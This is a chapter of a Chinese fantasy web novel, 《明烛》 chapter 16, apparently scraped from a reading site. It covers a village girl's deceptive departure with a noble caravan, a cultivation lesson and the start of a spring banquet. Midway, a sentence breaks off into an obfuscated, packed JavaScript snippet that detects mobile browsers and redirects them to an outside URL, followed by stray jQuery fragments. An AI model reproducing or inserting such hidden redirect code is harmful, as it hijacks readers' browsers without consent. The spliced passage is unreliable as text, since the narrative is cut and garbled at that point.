16.第十六章

作品:《明烛

    姜府东侧,长孙氏的仆从已经将行装收拾好,为启程做最后的准备。


    阿贺就是在这个时候被云岫领来了长孙衡面前。


    他站在廊下,听完云岫解释,终于向跪在自己面前的阿贺投来一瞥,口中问:“那支曲子,你是从何处学来?”


    阿贺不自觉地收紧了手,这个问题该怎么回答,云岫已经告诉过她。


    归冥曲是明烛姑娘教她的,可是……


    可是她只有这个机会了。


    阿贺的身体因为心头涌上的复杂情绪发着抖,不过像她这样没有见识的乡野少女,在长孙衡面前表现得无所适从,也不是什么太奇怪的事。


    如果错过,她只能回到从前……想到这里,阿贺心中生出了无限勇气,她颤着声,语气却近乎坚定地回道:“是我大母教我的……”


    说这话时,她的脸涨得通红,不知是因为羞怯还是愧怍。


    得知阿贺祖母已经过世后,长孙衡话音一顿,也就没有再多问。这本就不是什么值得他太过费心的事。


    “既然你愿意,便随车队同回都城便是。”他随口应许道,没有再看阿贺,自廊下走过。


    得了这句话,阿贺高悬的心终于落下,她向着长孙衡离开的背影重重叩首,连声谢恩。


    太好了,太好了……


    阿贺这样想着,抬头对上云岫目光,感激地向她再叩首。


    看着这一幕,云岫脸上勾起点笑意,心下生出隐秘痛快。


    虽有不识抬举的人,但总算还有人知趣。


    她不知珍惜,就让她身边的人来顶替这个位置吧!


    此事,本就不是非她不可。


    另一边,从明烛口中得知阿贺是去了长孙氏后,顾从山也没有就这么放下她不管。


    姜氏对长孙衡很是重视,他离开这日更是由姜家家主亲自带着人送出城外,顾从山跟着这些送别的仆从前往,想确定阿贺真的平安。


    长孙氏的车队走得不算快,顾从山探目向前望去,费了些功夫,才从车辇旁找到换了一身锦罗衣裙的阿贺。


    她神色轻松,看起来没什么不好,身旁侍女正在同她说话,阿贺应着,目光不经意间与顾从山对上,像是被烫了一般低下头,不敢看他。


    她没想到顾从山会来。


    不等顾从山上前,阿贺主动请了奴仆传话,告诉他自己已经不打算去姑母家中,请他不用挂念。


    顾从山想想,也没有非要同她再说些什么交代的必要,于是只请传话的奴仆将她有意留在姜氏的钱袋带了回去。


    她这么做,或许是心中有愧,但明烛并不介意阿贺的决定,顾从山当然也不会收她留下的这些钱。


    姜氏送行的人马已经停下,拿到钱袋的阿贺回头看着顾从山,双眼微微有些泛红。


    这样的距离,想说什么已经听不清,阿贺也不知道自己还能说什么。


    她已经做出了选择。


    怀着愧疚,她远远躬身,向顾从山深施一礼。


    顾从山并不知道她在想什么,如今他答应白芷的事也算了结,不必再多想什么。


    回城的时候,姜家家主遇上了曲氏的人马。


    同为平襄邑豪强,姜氏和曲氏世代相交,关系匪浅。


    曲氏族老主动上前,和姜家家主攀谈着什么,不过片刻,双双露出别有深意的笑来。


    顾从山没注意这些,他正盘算着怎么将从雾隐林中带来的灵物换成灵玉。春日宴就在三日后,因着明烛想去春日宴的缘故,顾从山便打算陪她在姜氏府中多停留几日。


    一旁姜氏仆从听说顾从山有灵物要出手,主动从中引见,不知道是不是因为这个缘故,顾从山最后换得的灵玉竟比预想中要多上两成。


    果真是背靠大树好乘凉啊,顾从山发出如是感慨。


    回到姜氏,他兴冲冲地找到明烛,将满满一袋灵玉倒在桌上,豪气地对她道:“咱们有钱了!”


    明烛不太理解他的激动,随手抓了两枚灵玉,当石子一样抛了抛。


    对于她来说,这些灵玉和好看些的石子没有什么区别。


    知道她的想法,顾从山立刻反对道:“这怎么一样!”


    灵玉可是能用作修行的。


    明烛学着他牵引出灵玉中所藏的云雾,丝丝缕缕的灵气流入经脉,游走过全身后汇入命星,再转化为自身灵息。


    比起天地间游离的灵气,灵玉中所藏无疑要浓郁许多,也更易为修士吸收,转化为自身灵息。


    修士体内星宿,正是需要足够的灵息来唤醒,所以世家大族的子弟,就算天资平庸,用不计其数的灵玉堆也能堆出不低境界。


    明烛比较一二,和她体内命星催生的灵息相比,从灵玉中所得只能算毫微。


    从混沌开辟的星域中,分属第九宿的星辰即将尽数亮起。


    “我讨厌天才!”听完她的话,顾从山悲愤道,这世上天才那么多,为什么不能多他一个。


    明烛看向他:“你转化灵息的方式太慢了。”


    顾从山有些没明白:“什么?”


    明烛抬手,指尖引动灵光,在空中绘出了灵气在顾从山体内经脉的走向,灵气重复游经数处经络,最后才汇至命星。


    顾从山正发愣时,又见她抬手修正了灵气走向,以这样的路线游走,便可以全无冗余地流经全身要穴。


    他迟疑着依照明烛所言修改自己吸收灵气的方式,尝试过数次才终于磕磕绊绊地将灵气汇入命星。


    不过有过一次成功,接下来就顺畅了许多,随着灵气不断汇入命星,顾从山意识到,这样吸收灵气,的确比他之前快了三倍不止。


    可……


    “你是怎么知道的?”顾从山大为不解,这一路他和明烛同行,不见有谁教过她这些。


    在认识他之前,明烛甚至还没有点亮命星。


    “这需要学吗?”明烛反问。


    在吸收灵玉中气息时,她体内就自如地按照这样的路线运转。


    就像她在点亮命星后,被唤醒的上千星宿就循着特定的轨迹开始转动,牵引着命星催


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981675|193286||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    生出灵息。


    顾从山感觉自己受到了降维打击。


    明烛收回手,看着顾从山体内星宿运转的轨迹,总觉得有些不协,不过顾从山的命盘和她差别太大,她一时也无从比对。


    备受打击的顾从山过了片刻又哄好了自己,天才和普通人总是有区别的不是。


    得明烛的指点,手边又换来足够灵玉,他接下来几日都在刻苦修行。


    三日时间说长不长,说短不短,在顾从山的苦修中,又在诸多世族仆婢的奔忙中,三日后,平襄邑的春日宴如期而至。


    二月十七,姜氏等一众邑中大小豪强世族于城外渭河畔设宴,凡有意愿者皆可来往,因此除了世族特意请来的宾客,还有诸多自认身有所长的人前来,场面很是热闹。


    仲春时节,河州上青萍浮波,风软烟轻,两岸桃花开得正好,灼灼欲燃。


    平襄邑各世族在临岸的河面上筑起高台,或设术法迷阵,或置琴棋,自认有能者均可上前一试,若能得主家看中,除了各色奖赏外,还有机会被聘为门客。


    灰袍短打的青年拉开六石的重弓,三箭连发,均中靶心,顿时引来一片叫好声。


    除了奉上金银为赏,立时还有世族仆从上前招揽,问他可愿入族中为门客。


    明烛走马观花地看着,眼中多有兴味,在郁孤山上从来没有这么多人,也不会有这么多她没听过,没见过的事。


    顾从山已经不是第一次参加春日宴了,可惜他只是个三宿的散修,对上内息强盛些的武者都未必是对手,否则混进这些豪强世族做个门客也是个不错的出路。


    就算身怀命星,得以踏上修行一途,如他这等既无出身,天资又只能算庸常的散修而言,世事还是不易。


    好在顾从山还算知足常乐,对自己如今境况也不算太不满,正当他向明烛说明着春日宴上情形时,一道有些耳熟的声音在身后响起:“姑娘,你果然来了。”


    顾从山回过头来,正对上褚无咎含笑的脸。


    他还真是神出鬼没,险些被吓了一跳的顾从山心道。


    既然说了是来参加春日宴的,褚无咎当然要为自己的话圆谎,何况他也真的很好奇。


    目光落在明烛身上,他眼神专注,那张平凡的脸似乎也为此多了两分蛊惑人的意味。


    下一刻,他的视线里丝滑地出现了顾从山面无表情的大脸,严丝合缝地挡住了他看向明烛的视线。


    别看她,看我。


    顾从山的目光里明明白白地写着防备,看得褚无咎抽了抽嘴角。


    他现在用的这张脸,看起来就这么不像好人么?从来没有被人这么防备过的褚无咎不知道说什么才好。


    他当真没有别的企图,最多也就是好奇心重了些。


    但换作是谁,应该都会觉得好奇吧,褚无咎觑着正望向四周的明烛,这样想道。


    就在这时,喧哗声响起,人潮忽然向前方涌去,明烛抬起头,只见临岸的河面上灵光亮起,缓缓升起一方竖起的棋盘,吸引来了诸多视线。